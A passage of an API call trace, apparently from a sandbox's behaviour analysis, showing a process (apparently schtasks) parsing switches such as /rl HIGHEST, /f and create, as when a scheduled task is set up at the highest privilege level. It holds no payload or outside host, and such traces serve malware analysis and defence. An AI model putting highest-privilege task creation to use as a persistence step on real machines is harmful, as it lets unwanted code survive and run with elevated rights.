(lpString="u") returned 1 [0069.302] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.302] lstrlenW (lpString="rl") returned 2 [0069.302] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.302] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|u|") returned 3 [0069.302] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.302] lstrlenW (lpString="|u|") returned 3 [0069.303] lstrlenW (lpString="|rl|") returned 4 [0069.303] SetLastError (dwErrCode=0x490) [0069.303] lstrlenW (lpString="p") returned 1 [0069.303] lstrlenW (lpString="p") returned 1 [0069.303] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.303] lstrlenW (lpString="rl") returned 2 [0069.303] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.303] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|p|") returned 3 [0069.303] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.303] lstrlenW (lpString="|p|") returned 3 [0069.303] lstrlenW (lpString="|rl|") returned 4 [0069.303] SetLastError (dwErrCode=0x490) [0069.303] lstrlenW (lpString="ru") returned 2 [0069.303] lstrlenW (lpString="ru") returned 2 [0069.303] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.303] lstrlenW (lpString="rl") returned 2 [0069.303] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.303] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ru|") returned 4 [0069.303] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.303] lstrlenW (lpString="|ru|") returned 4 [0069.303] lstrlenW (lpString="|rl|") returned 4 [0069.303] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0069.303] SetLastError (dwErrCode=0x490) [0069.304] lstrlenW (lpString="rp") returned 2 [0069.304] lstrlenW (lpString="rp") returned 2 [0069.304] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.304] lstrlenW (lpString="rl") returned 2 [0069.304] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.304] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rp|") returned 4 [0069.304] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.304] lstrlenW (lpString="|rp|") returned 4 [0069.304] lstrlenW (lpString="|rl|") returned 4 [0069.304] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0069.304] SetLastError (dwErrCode=0x490) [0069.304] lstrlenW (lpString="sc") returned 2 [0069.304] lstrlenW (lpString="sc") returned 2 [0069.304] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.304] lstrlenW (lpString="rl") returned 2 [0069.304] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.304] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sc|") returned 4 [0069.304] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.304] lstrlenW (lpString="|sc|") returned 4 [0069.304] lstrlenW (lpString="|rl|") returned 4 [0069.304] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0069.304] SetLastError (dwErrCode=0x490) [0069.304] lstrlenW (lpString="mo") returned 2 [0069.304] lstrlenW (lpString="mo") returned 2 [0069.305] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.305] lstrlenW (lpString="rl") returned 2 [0069.305] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.305] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|mo|") returned 4 [0069.305] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.305] lstrlenW (lpString="|mo|") returned 4 [0069.305] lstrlenW (lpString="|rl|") returned 4 [0069.305] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0069.305] SetLastError (dwErrCode=0x490) [0069.305] lstrlenW (lpString="d") returned 1 [0069.305] lstrlenW (lpString="d") returned 1 [0069.305] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.305] lstrlenW (lpString="rl") returned 2 [0069.305] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.305] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|d|") returned 3 [0069.305] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.305] lstrlenW (lpString="|d|") returned 3 [0069.305] lstrlenW (lpString="|rl|") returned 4 [0069.305] SetLastError (dwErrCode=0x490) [0069.305] lstrlenW (lpString="m") returned 1 [0069.305] lstrlenW (lpString="m") returned 1 [0069.305] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.305] lstrlenW (lpString="rl") returned 2 [0069.305] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.306] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|m|") returned 3 [0069.306] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.306] lstrlenW (lpString="|m|") returned 3 [0069.306] lstrlenW (lpString="|rl|") returned 4 [0069.306] SetLastError (dwErrCode=0x490) [0069.306] lstrlenW (lpString="i") returned 1 [0069.306] lstrlenW (lpString="i") returned 1 [0069.306] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.306] lstrlenW (lpString="rl") returned 2 [0069.306] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.306] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|i|") returned 3 [0069.306] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.306] lstrlenW (lpString="|i|") returned 3 [0069.306] lstrlenW (lpString="|rl|") returned 4 [0069.306] SetLastError (dwErrCode=0x490) [0069.306] lstrlenW (lpString="tn") returned 2 [0069.306] lstrlenW (lpString="tn") returned 2 [0069.306] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.306] lstrlenW (lpString="rl") returned 2 [0069.306] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.306] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tn|") returned 4 [0069.306] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.306] lstrlenW (lpString="|tn|") returned 4 [0069.306] lstrlenW (lpString="|rl|") returned 4 [0069.307] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0069.307] SetLastError (dwErrCode=0x490) [0069.307] lstrlenW (lpString="tr") returned 2 [0069.307] lstrlenW (lpString="tr") returned 2 [0069.307] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.307] lstrlenW (lpString="rl") returned 2 [0069.307] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.307] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|tr|") returned 4 [0069.307] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.307] lstrlenW (lpString="|tr|") returned 4 [0069.307] lstrlenW (lpString="|rl|") returned 4 [0069.307] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0069.307] SetLastError (dwErrCode=0x490) [0069.307] lstrlenW (lpString="st") returned 2 [0069.307] lstrlenW (lpString="st") returned 2 [0069.307] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.307] lstrlenW (lpString="rl") returned 2 [0069.307] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.307] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|st|") returned 4 [0069.307] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.307] lstrlenW (lpString="|st|") returned 4 [0069.307] lstrlenW (lpString="|rl|") returned 4 [0069.307] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0069.307] SetLastError (dwErrCode=0x490) [0069.308] lstrlenW (lpString="sd") returned 2 [0069.308] lstrlenW (lpString="sd") returned 2 [0069.308] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.308] lstrlenW (lpString="rl") returned 2 [0069.308] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.308] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|sd|") returned 4 [0069.308] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.308] lstrlenW (lpString="|sd|") returned 4 [0069.308] lstrlenW (lpString="|rl|") returned 4 [0069.308] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0069.308] SetLastError (dwErrCode=0x490) [0069.308] lstrlenW (lpString="ed") returned 2 [0069.308] lstrlenW (lpString="ed") returned 2 [0069.308] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.308] lstrlenW (lpString="rl") returned 2 [0069.308] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.308] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ed|") returned 4 [0069.308] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.308] lstrlenW (lpString="|ed|") returned 4 [0069.308] lstrlenW (lpString="|rl|") returned 4 [0069.308] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0069.308] SetLastError (dwErrCode=0x490) [0069.308] lstrlenW (lpString="it") returned 2 [0069.308] lstrlenW (lpString="it") returned 2 [0069.308] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.309] lstrlenW (lpString="rl") returned 2 [0069.309] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.309] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|it|") returned 4 [0069.309] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.309] lstrlenW (lpString="|it|") returned 4 [0069.309] lstrlenW (lpString="|rl|") returned 4 [0069.309] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0069.309] SetLastError (dwErrCode=0x490) [0069.309] lstrlenW (lpString="et") returned 2 [0069.309] lstrlenW (lpString="et") returned 2 [0069.309] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.309] lstrlenW (lpString="rl") returned 2 [0069.309] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.309] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|et|") returned 4 [0069.309] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.309] lstrlenW (lpString="|et|") returned 4 [0069.309] lstrlenW (lpString="|rl|") returned 4 [0069.309] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0069.309] SetLastError (dwErrCode=0x490) [0069.309] lstrlenW (lpString="k") returned 1 [0069.309] lstrlenW (lpString="k") returned 1 [0069.309] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.309] lstrlenW (lpString="rl") returned 2 [0069.309] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.310] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|k|") returned 3 [0069.310] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.310] lstrlenW (lpString="|k|") returned 3 [0069.310] lstrlenW (lpString="|rl|") returned 4 [0069.310] SetLastError (dwErrCode=0x490) [0069.310] lstrlenW (lpString="du") returned 2 [0069.310] lstrlenW (lpString="du") returned 2 [0069.310] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.310] lstrlenW (lpString="rl") returned 2 [0069.310] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.310] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|du|") returned 4 [0069.310] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.310] lstrlenW (lpString="|du|") returned 4 [0069.310] lstrlenW (lpString="|rl|") returned 4 [0069.310] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0069.310] SetLastError (dwErrCode=0x490) [0069.310] lstrlenW (lpString="ri") returned 2 [0069.310] lstrlenW (lpString="ri") returned 2 [0069.310] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.310] lstrlenW (lpString="rl") returned 2 [0069.310] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.310] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ri|") returned 4 [0069.310] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.310] lstrlenW (lpString="|ri|") returned 4 [0069.311] lstrlenW (lpString="|rl|") returned 4 [0069.311] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0069.311] SetLastError (dwErrCode=0x490) [0069.311] lstrlenW (lpString="z") returned 1 [0069.311] lstrlenW (lpString="z") returned 1 [0069.311] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.311] lstrlenW (lpString="rl") returned 2 [0069.311] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.311] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|z|") returned 3 [0069.311] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.311] lstrlenW (lpString="|z|") returned 3 [0069.311] lstrlenW (lpString="|rl|") returned 4 [0069.311] SetLastError (dwErrCode=0x490) [0069.311] lstrlenW (lpString="f") returned 1 [0069.311] lstrlenW (lpString="f") returned 1 [0069.311] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.311] lstrlenW (lpString="rl") returned 2 [0069.311] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.311] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.311] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.311] lstrlenW (lpString="|f|") returned 3 [0069.311] lstrlenW (lpString="|rl|") returned 4 [0069.311] SetLastError (dwErrCode=0x490) [0069.311] lstrlenW (lpString="v1") returned 2 [0069.311] lstrlenW (lpString="v1") returned 2 [0069.311] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.312] lstrlenW (lpString="rl") returned 2 [0069.312] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.312] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|v1|") returned 4 [0069.312] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.312] lstrlenW (lpString="|v1|") returned 4 [0069.312] lstrlenW (lpString="|rl|") returned 4 [0069.312] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0069.312] SetLastError (dwErrCode=0x490) [0069.312] lstrlenW (lpString="xml") returned 3 [0069.312] lstrlenW (lpString="xml") returned 3 [0069.312] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.312] lstrlenW (lpString="rl") returned 2 [0069.312] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.312] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|xml|") returned 5 [0069.312] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.312] lstrlenW (lpString="|xml|") returned 5 [0069.312] lstrlenW (lpString="|rl|") returned 4 [0069.312] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0069.312] SetLastError (dwErrCode=0x490) [0069.312] lstrlenW (lpString="ec") returned 2 [0069.312] lstrlenW (lpString="ec") returned 2 [0069.312] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.312] lstrlenW (lpString="rl") returned 2 [0069.312] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.312] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ec|") returned 4 [0069.313] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.313] lstrlenW (lpString="|ec|") returned 4 [0069.313] lstrlenW (lpString="|rl|") returned 4 [0069.313] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0069.313] SetLastError (dwErrCode=0x490) [0069.313] lstrlenW (lpString="rl") returned 2 [0069.313] lstrlenW (lpString="rl") returned 2 [0069.313] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.313] lstrlenW (lpString="rl") returned 2 [0069.313] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.313] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.313] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|rl|") returned 4 [0069.313] lstrlenW (lpString="|rl|") returned 4 [0069.313] lstrlenW (lpString="|rl|") returned 4 [0069.313] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0069.313] SetLastError (dwErrCode=0x0) [0069.313] SetLastError (dwErrCode=0x0) [0069.313] lstrlenW (lpString="HIGHEST") returned 7 [0069.313] lstrlenW (lpString="-/") returned 2 [0069.313] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0069.313] SetLastError (dwErrCode=0x490) [0069.313] SetLastError (dwErrCode=0x490) [0069.313] SetLastError (dwErrCode=0x0) [0069.313] lstrlenW (lpString="HIGHEST") returned 7 [0069.313] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0069.313] SetLastError (dwErrCode=0x490) [0069.313] SetLastError (dwErrCode=0x0) [0069.314] _memicmp (_Buf1=0x14d660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.314] lstrlenW (lpString="HIGHEST") returned 7 [0069.314] lstrlenW (lpString="HIGHEST") returned 7 [0069.314] lstrlenW (lpString=" \x09") returned 2 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0069.314] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0069.314] GetLastError () returned 0x0 [0069.314] lstrlenW (lpString="HIGHEST") returned 7 [0069.314] lstrlenW (lpString="HIGHEST") returned 7 [0069.314] SetLastError (dwErrCode=0x0) [0069.314] SetLastError (dwErrCode=0x0) [0069.314] lstrlenW (lpString="/f") returned 2 [0069.314] lstrlenW (lpString="-/") returned 2 [0069.314] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.314] lstrlenW (lpString="create") returned 6 [0069.314] lstrlenW (lpString="create") returned 6 [0069.314] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.314] lstrlenW (lpString="f") returned 1 [0069.314] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.314] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|create|") returned 8 [0069.314] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.315] lstrlenW (lpString="|create|") returned 8 [0069.315] lstrlenW (lpString="|f|") returned 3 [0069.315] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0069.315] SetLastError (dwErrCode=0x490) [0069.315] lstrlenW (lpString="?") returned 1 [0069.315] lstrlenW (lpString="?") returned 1 [0069.315] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.315] lstrlenW (lpString="f") returned 1 [0069.315] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.315] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|?|") returned 3 [0069.315] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.315] lstrlenW (lpString="|?|") returned 3 [0069.315] lstrlenW (lpString="|f|") returned 3 [0069.315] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0069.315] SetLastError (dwErrCode=0x490) [0069.315] lstrlenW (lpString="s") returned 1 [0069.315] lstrlenW (lpString="s") returned 1 [0069.315] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.315] lstrlenW (lpString="f") returned 1 [0069.315] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.315] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|s|") returned 3 [0069.315] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.315] lstrlenW (lpString="|s|") returned 3 [0069.315] lstrlenW (lpString="|f|") returned 3 [0069.315] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0069.315] SetLastError (dwErrCode=0x490) [0069.316] lstrlenW (lpString="u") returned 1 [0069.316] lstrlenW (lpString="u") returned 1 [0069.316] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.316] lstrlenW (lpString="f") returned 1 [0069.316] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.316] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|u|") returned 3 [0069.316] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.316] lstrlenW (lpString="|u|") returned 3 [0069.316] lstrlenW (lpString="|f|") returned 3 [0069.316] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0069.316] SetLastError (dwErrCode=0x490) [0069.316] lstrlenW (lpString="p") returned 1 [0069.316] lstrlenW (lpString="p") returned 1 [0069.316] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.316] lstrlenW (lpString="f") returned 1 [0069.316] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.316] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|p|") returned 3 [0069.316] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.316] lstrlenW (lpString="|p|") returned 3 [0069.316] lstrlenW (lpString="|f|") returned 3 [0069.316] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0069.316] SetLastError (dwErrCode=0x490) [0069.316] lstrlenW (lpString="ru") returned 2 [0069.316] lstrlenW (lpString="ru") returned 2 [0069.316] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.316] lstrlenW (lpString="f") returned 1 [0069.317] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.317] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|ru|") returned 4 [0069.317] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc6a8 | out: _Buffer="|f|") returned 3 [0069.317] lstrlenW (lpString="|ru|") returned 4 [0069.317] lstrlenW (lpString="|f|") returned 3 [0069.317] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0069.317] SetLastError (dwErrCode=0x490) [0069.317] lstrlenW (lpString="rp") returned 2 [0069.317] lstrlenW (lpString="rp") returned 2 [0069.317] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.317] lstrlenW (lpString="f") returned 1 [0069.317] 